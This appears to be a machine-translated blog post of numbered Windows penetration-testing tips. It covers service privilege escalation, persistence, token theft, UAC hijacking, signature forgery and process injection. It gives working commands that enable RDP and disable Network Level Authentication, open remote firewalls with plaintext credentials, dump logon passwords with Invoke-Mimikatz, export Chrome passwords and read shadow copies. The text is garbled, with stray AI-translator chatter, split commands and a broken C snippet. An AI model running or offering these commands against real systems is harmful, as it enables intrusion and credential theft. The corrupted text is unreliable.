Enumerate the executable file paths corresponding to Windows system services. If any path has write permissions for standard users, then the service can be leveraged for privilege escalation.

PowerShell code:

$ErrorActionPreference="SilentlyContinue"
$out = (Get-WmiObject win32_service | select PathName)
$out|% {[array]$global:path += $_.PathName}
for($i=0;$i -le $out.Count-1;$i++)
{
    $a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))
   If($a.Owner -ne "NT AUTHORITY\SYSTEM"){
    If($a.Owner -ne "NT SERVICE\TrustedInstaller"){
      If($a.Owner -ne "BUILTIN\Administrators"){        
        Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,Status
        Write-host Owner: $a.Owner
      }  
    }
    }
}
Write-host [+] All done.

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《Use powershell to find a writable windows service》

Tips 41 Utilize Misconfigurations in Antivirus Software to Achieve Auto-Startup and Execute Before the Antivirus Software

Windows systems support Logon Scripts, which are executed upon system startup. The execution order precedes antivirus software, and naturally, antivirus software cannot intercept the operations of the scripts within Logon Scripts because the antivirus software has not yet started.

The key is whether the antivirus software will intercept the configuration and use of Logon Scripts.

Utilize special operations to add Logon Scripts that won’t be intercepted by antivirus software.

Note:

The mentioned antivirus software refers to “some” antivirus programs and is not universally applicable.

Reference:

《Use Logon Scripts to maintain persistence》

Tips 42 Compiling C# Programs: Points to Consider

Using Visual Studio:

The project name must match the name specified in the namespace. If it doesn’t match, you can modify it in the project properties under “Assembly Name.” Otherwise, the generated DLL will not be usable.

Using csc.exe:

eg.

using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}

Save as TestDotNet.cs and use csc.exe to compile it directly:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library TestDotNet.cs

If you save it as `a.cs`, you need to add the `/out` parameter to specify the output file as `TestDotNet.dll`. This way, the assembly name will also default to `TestDotNet`, corresponding to the source code. Otherwise, although the DLL can be loaded, it cannot be executed. The parameters are as follows:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:library /out:TestDotNet.dll a.cs

Tips 43: The Issue of Port Usage in Remote Connections with net use

When utilizing “net use” for remote connections, if the target has enabled NetBIOS over TCP/IP, then:

1. The goal is to have both ports 139 and 445 open at the same time, with the system prioritizing connection via port 445.
2. The objective is to disable port 445 while allowing connections via port 139.

If NetBIOS over TCP/IP is disabled, then:

1. The objective is to disable port 445, as it cannot be connected.

Tips 44 Obtaining TrustedInstaller Permissions

Start the TrustedInstaller service to obtain TrustedInstaller permissions through token duplication

Common Methods:

• SelectMyParent
• Invoke-TokenManipulation.ps1
• incognito

Reference:

Penetration Techniques—Token Theft and Exploitation

1. Check if the system allows 3389 remote connections:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

1 indicates closed, 0 indicates open.

View the ports of remote connections:

R

EG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

2. Methods to Enable 3389 Remote Desktop Connection on This Machine

Method 1: Using cmd

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStati
ons\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f

Method 2: Using a .reg File

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Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"fDenyTSConnections"=dword:00000000
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]
"PortNumber"=dword:00000d3d

Import Registry:

regedit /s a.reg

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Modify the port connection to take effect after the restart.

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If the system has not previously been configured for Remote Desktop Services, the first time you enable it, you’ll also need to add a firewall rule to allow Port 3389. The command is as follows:

netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

Certainly! Here’s the translation of the text content while keeping the HTML structure intact:

“`html
如果连接出错，提示
“`

Translation:

“`html
If the connection fails, prompt

Let me know if you need further assistance!An authentication error has occurred.The function requested is not supported.

A setting to disable remote connections:Allow connections only from computers running Remote Desktop with Network Level Authentication (recommended)

Method to Close:

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0x00000000 /f

3. Remote Connection Methods

Using Kali for RDP Connections on Port 3389:

rdesktop 192.168.1.1:3389

Windows:

mstsc.exe

Non-server versions of Windows systems, by default, only allow a single account to be logged in.

Specific manifestations include:

During remote login, using the same account as the original system will cause the original system to switch to the login screen.

When using different accounts, the original system desktop will display a pop-up prompt asking whether to disconnect the current connection (automatically selecting ‘agree’ after 30 seconds).

Solution:

Use mimikatz.exe, executets::multirdpAllow multiple users to log in remotely

Enable remote login for different accounts without conflicts, and ensure that the original system desktop does not display pop-up notifications.

Certainly, using the same account as the original system, the original system will still be switched to the login screen.

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This method becomes ineffective after a system reboot, and you’ll need to re-run the command the next time you use it.ts::multirdp

It can also be achieved by permanently modifying the termsrv.dll file.

Reference:

“Penetration Techniques—Multi-User Login for Windows Remote Desktop”

Tips 46: Using netsh to Modify Firewall Rules on a Remote System

Remote systems requireAllow Remote Management Through Windows FirewallThe command to enable is as follows:

netsh advfirewall set currentprofile settings remotemanagement enable

eg.

netsh -r 192.168.0.2 -u TEST\administrator -p domain123! advfirewall firewall a

dd rule name="any" protocol=TCP dir=in localport=any action=allow

Reference:

“Domain Penetration—Executing Programs on Remote Systems Using DCOM”

Tips 47: Hijacking UAC

When the UAC dialog box pops up, executing arbitrary code can be achieved by hijacking the signature verification function through registry modification and inserting a payload.

Reference:

“Forgery of Authenticode Signatures: Signature Forgery and Signature Verification Hijacking in PE Files”

Tips for Forging Authenticode Signatures on PE Files

By modifying the registry, it’s possible to add a Microsoft certificate to PE files.

Reference:

“Authenticode Signature Forgery—PE File Signature Forgery and Signature Validation Hijack”

“Forging Authenticode Signatures: Signature Spoofing for File Types”

Tips 49 Fake Catalog Signature in a PE File

Construct a Long UNC Filename to Achieve Filename Deception and Obtain a Catalog Signature.

Reference:

“Catalog Signature Forgery – Long UNC Filename Deception”

Tips 50 mklink

Used to create symbolic links, which can be understood as shortcuts.

Create the directory c:\test\1, pointing to c:\temp, by using the following operation:

(1) Use the /D parameter command to create a link:

mklink /D “c:\test\1” “c:\Temp”

(2) Use the /J parameter command to create a junction:

mklink /J “c:\test\1” “c:\Temp”

Differences:

The link created with the /D parameter has the file attribute “Shortcut”.

Using /J does not require admin permissions

Using /D requires administrator privileges.

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Change the path of the release file

Tips for Passing Parameters When Executing Scripts in PowerShell

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -DumpCerts"

powershell -executionpolicy bypass -Command "Import-Module .\Invoke-Mimik

atz.ps1;Invoke-Mimikatz -Command ""log ""privilege::debug"" ""sekurlsa::logonpasswords"""""

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1、APC

Reference:

“Implementing DLL Injection via APC to Bypass Sysmon Monitoring”

2、process hollowing

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“Implementation and Detection of Puppet Processes”

3、Process Doppelgänging

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“An Introduction to Process Doppelganging Exploitation”

Tips 53 Default Sharing Directory in the Domain

\\<>\SYSVOL\<>\
</></>

All hosts within the domain can access it, and it contains Group Policy related data, including login script configuration files, etc.

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“

Domain Penetration—Exploiting SYSVOL to Restore Passwords Stored in Group Policy

“

Tips 54: Your TeamViewer Could Be Hacked

If your TeamViewer version is13.0.5058Avoid randomly connecting to unknown TeamViewer servers, as you might be exposed to remote control risks.

Reference:

《Testing for Permission Vulnerabilities in TeamViewer 13.0.5058》

Tips 55: Remote Viewing of Domain Controller Logon and Logoff Logs:

Method 1:

wevtutil qe security /rd:true /f:text /q:"*[system/eventid=4624 and 4623 and 4672]" /r:dc1 /u:administrator /p:password

Method 2:

(Not recommended, as directly downloading the file is too large)

Retrieve Domain Controller Files:C:\Windows\System32\winevt\Logs\Security.evtx, filter events 4624/4623/4672

Tips 56: Determine if the Current System is in Standby Mode

When the screen is locked, the return value of the `GetForegroundWindow()` function is `NULL`. When the screen is not locked, the return value of the `GetForegroundWindow()` function is a non-zero value.

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https://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

Implementing a PowerShell script:

https://github.com/3gstudent/Writeup/blob/master/CheckStandby.ps1

Tips 57: Obtain the time since the current system user’s last input.

To translate the text content of your WordPress post while maintaining the original HTML structure, the phrase “通过API GetIdleTime进行判断” can be translated to:

“Determine using the API GetIdleTime”

If you have more text or specific HTML content that needs translation, feel free to share!

C# Implementation:

https://www.codeproject.com/Articles/13384/Getting-the-user-idle-time-with-C

Implementing a PowerShell script:

https://github.com/3gstudent/Writeup/blob/master/GetIdleTime.ps1

Tips 58 Determine the Current System Screensaver Activation Time

Determine if the screensaver is enabled:

Search the registryHKEY_CURRENT_USER\Control Panel\DesktopIs there a key-value?SCRNSAVE.EXE

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE

If you enable the screensaver, check the key values.ScreenSaveTimeOutObtain the screensaver activation time (in seconds)

REG QUERY "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeOut

Tips 59: Hiding the Interface of a Specific Process

Change the window state using the API ShowWindowAsync.

Using PowerShell for implementation, a script can reference:

https://github.com/3gstudent/Writeup/blob/master/HiddenProcess.ps1

Tips 60: Taking Screenshots on Windows Systems via PowerShell

Script download link:

https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8/file/50729/1/Take-ScreenShot.ps1

Tips 61 View Installed Programs on the Current Windows System

By enumerating the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, you can obtain the DisplayName of all subkeys.

Note:

The directory for 32-bit applications on a 64-bit system is referred to as `Program Files (x86)` in American English.HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall

Reference URL for PowerShell script implementation:

https://github.com/3gstudent/ListInstalledPrograms

Tips 62: Using WMI to Retrieve the Current System Type

wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ComputerSystem get PCSystemTyp

e /FORMAT:list

Value	Meaning
0 (0x0)	Unspecified
1 (0x1)	Desktop
2 (0x2)	Mobile
3 (0x3)	Workstation
4 (0x4)	Enterprise Server
5 (0x5)	Small Office and Home Office (SOHO) Server
6 (0x6)	Appliance PC
7 (0x7)	Performance Server
8 (0x8)	Maximum

Tips 63 Exporting Passwords Saved in Chrome Browser:

1. Online Access

Method 1:

Read the database file.%LocalAppData%\Google\Chrome\User Data\Default\Login DataIf the Chrome browser is running, direct reading is not possible, and copying is required first.

In the current system, call the API CryptUnprotectData to directly decrypt.

Method 2:

mimikatz

vault::cred

Reference:

“Techniques for Penetration Testing: Exporting Saved Passwords from Chrome Browser”

2. Offline Retrieval

Using a Master Key, there’s no need to obtain users’ plaintext passwords.

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“Penetration Techniques—Using Masterkey to Export Saved Passwords from Chrome Browser Offline”

Tips 65: Access System History Files via ShadowCopy

Check if there are any snapshots in the current system:

vssadmin list shadows

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**Original Text:**

访问历史快照中的文件：

**Translation:**

Access files in historical snapshots:

—

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mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy15\
dir c:\testvsc

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“Domain Penetration—Obtaining the NTDS.dit File from the Domain Controller Server”

Tips 64: Methods to Execute Multiple Commands in Command Line

aa && bb

Execute aa, and after a successful completion, execute bb.

aa || bb

First, execute ‘aa’. If ‘aa’ executes successfully, then do not execute ‘bb’. If it fails, then proceed to execute ‘bb’.

aa & bb

First execute aa, then execute bb, regardless of whether aa succeeds or fails.

Tips 65: Sending Emails via PowerShell (Including Attachments)

Two methods; see the code for reference:

https://github.com/3gstudent/SendMail-with-Attachments

Tips 66: Retrieve All Users’ Remote Desktop Connection History via PowerShell by Reading the Registry

By default, reading the registry only retrieves the registry information of the currently logged-in user, but it can be done throughreg loadLoading the hive to obtain the registry configuration for a non-logged-in user

Code reference:

https://github.com/3gstudent/ListInstalledPrograms

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**Penetration Techniques—Retrieving Remote Desktop Connection History on Windows Systems**

Tips 67 Use pscp to Upload Files from Windows to Linux via Command Line

Download Address:

https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html

The uploaded command is as follows:

pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/

Will prompt whether to store cache files.

It seems like your input is in a different language. Could you please provide more context or details so I can assistYIn the registry, create a new key value:HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\SshHostKeysNo need to enter again next time you connect.Y

I’m here to assist with translating text from WordPress posts. If you could provide the text you’dN“Do not save registry key values”

Implement automatic input.NCommand Methods:

echo n |pscp.exe -l root -pw toor -r c:\1\putty.exe 192.168.62.131:/root/

Tips 68 Enumerating Handles in Windows Systems

• On Windows 8 and later, NtQueryInformationProcess with ProcessHandleInformation is the most efficient method.
• On Windows XP and later, NtQuerySystemInformation with SystemExtendedHandleInformation.
• On Windows 7 and later, NtQuerySystemInformation with SystemHandleInformation can be used.

Note:

• WinXP and Win7,ObjectTypeNumber = 0x1c
• Win8 and later,ObjectTypeNumber = 0x1e

Tips 69 Using Windows Command Line to Compress Files with RAR

https://github.com/3gstudent/test/raw/master/rar.exe

Maximum Compression Ratio:

rar.exe a -m5 1.rar 1.txt -p123456

Split compression, with each compressed file being 10MB:

rar.exe a -m5 -v10m 1.rar 1.txt -p123456

Decompression:

rar.exe e 1.rar -p123456

Tips for viewing the list of processes using the command `tasklist /v`

The /v parameter displays detailed information, which is very helpful for gathering data.

Tips 71 C Language: Remove Leading and Trailing Whitespace from Strings in an Array

WCHAR srcString[20] = L"I love you!";
WCHAR targetString[20];
wcsncpy_s(targetString, wcslen(targetString), srcString + 1, (wcslen(targetString) - 1);
wprintf_s(L"%s\n", targetString);

windows serverwindowshttpsCybersecuritygithub